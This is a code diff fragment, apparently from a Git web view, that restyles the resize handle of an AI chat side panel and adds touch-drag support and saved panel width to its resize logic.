#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||
@ -367,8 +384,10 @@
|
||||
::selection{background:#ffeb3b;color:#000}
|
||||
::-moz-selection{background:#ffeb3b;color:#000}
|
||||
/* NEW: resizer handle */
|
||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
|
||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
|
||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
|
||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
|
||||
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
|
||||
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
|
||||
const s = document.createElement("style");
|
||||
s.id = "ht-ai-style";
|
||||
s.textContent = css;
|
||||
@ -432,24 +451,43 @@
|
||||
|
||||
const onMove = (e) => {
|
||||
if (!dragging) return;
|
||||
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
|
||||
e.preventDefault();
|
||||
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||
const dx = startX - clientX; // dragging leftwards ⇒ +dx
|
||||
let newW = startW + dx;
|
||||
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
||||
panel.style.width = newW + "px";
|
||||
};
|
||||
|
||||
const onUp = () => {
|
||||
if (!dragging) return;
|
||||
dragging = false;
|
||||
handle.style.background = "";
|
||||
document.body.style.userSelect = "";
|
||||
document.body.style.cursor = "";
|
||||
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
||||
document.removeEventListener("mousemove", onMove);
|
||||
document.removeEventListener("mouseup", onUp);
|
||||
document.removeEventListener("touchmove", onMove);
|
||||
document.removeEventListener("touchend", onUp);
|
||||
};
|
||||
handle.addEventListener("mousedown", (e) => {
|
||||
|
||||
const onStart = (e) => {
|
||||
e.preventDefault();
|
||||
dragging = true;
|
||||
startX = e.clientX;
|
||||
startX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
||||
handle.style.background = "rgba(255,255,255,.25)";
|
||||
document.body.style.userSelect = "none";
|
||||
document.body.style.cursor = "ew-resize";
|
||||
|
||||
document.addEventListener("mousemove", onMove);
|
||||
document.addEventListener("mouseup", onUp);
|
||||
});
|
||||
document.addEventListener("touchmove", onMove, { passive: false });
|
||||
document.addEventListener("touchend", onUp);
|
||||
};
|
||||
|
||||
handle.addEventListener("mousedown", onStart);
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
Loading…
x
Reference in New Issue
Block a user